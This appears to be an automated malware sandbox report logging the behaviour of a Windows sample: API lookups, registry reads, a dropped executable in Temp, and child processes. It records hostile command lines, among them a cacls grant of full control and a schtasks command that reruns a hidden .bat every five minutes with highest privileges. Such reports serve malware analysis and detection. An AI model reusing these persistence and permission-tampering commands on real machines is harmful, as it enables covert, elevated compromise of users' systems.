Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:41:38 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 25125430308	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #133: cacls.exe

0

»

Information	Value
ID	#133
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:09, Reason: Child Process
Unmonitor	End Time: 00:03:41, Reason: Self Terminated
Monitor Duration	00:00:31
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1388
Parent PID	0x1204 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1384 0x CDC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #134: dllhost.exe

0

»

Information	Value
ID	#134
File Name	c:\windows\system32\dllhost.exe
Command Line	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:12, Reason: Child Process
Unmonitor	End Time: 00:03:48, Reason: Self Terminated
Monitor Duration	00:00:36
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xcc0
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 4A4 0x 9C0 0x 6C8 0x 1304 0x 11B8 0x 11AC 0x 384 0x E18

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
dllhost.exe	0x7FF6FB010000	0x7FF6FB018FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Process #135: cmd.exe

61

0

»

Information	Value
ID	#135
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat" /sc minute /mo 5 /RL HIGHEST /F
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:12, Reason: Child Process
Unmonitor	End Time: 00:03:54, Reason: Self Terminated
Monitor Duration	00:00:41

OS Process Information

»

Information	Value
PID	0x1390
Parent PID	0x11dc (c:\windows\syswow64\wscript.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1394 0x F94

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1394

61

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 216, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\schtasks.exe, os_pid = 0x121c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn

Process #136: cmd.exe

300

0

»

Information	Value
ID	#136
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:13, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:12

OS Process Information

»

Information	Value
PID	0x138c
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13A4 0x 468

Threads

Thread 0x13a4

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 120, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
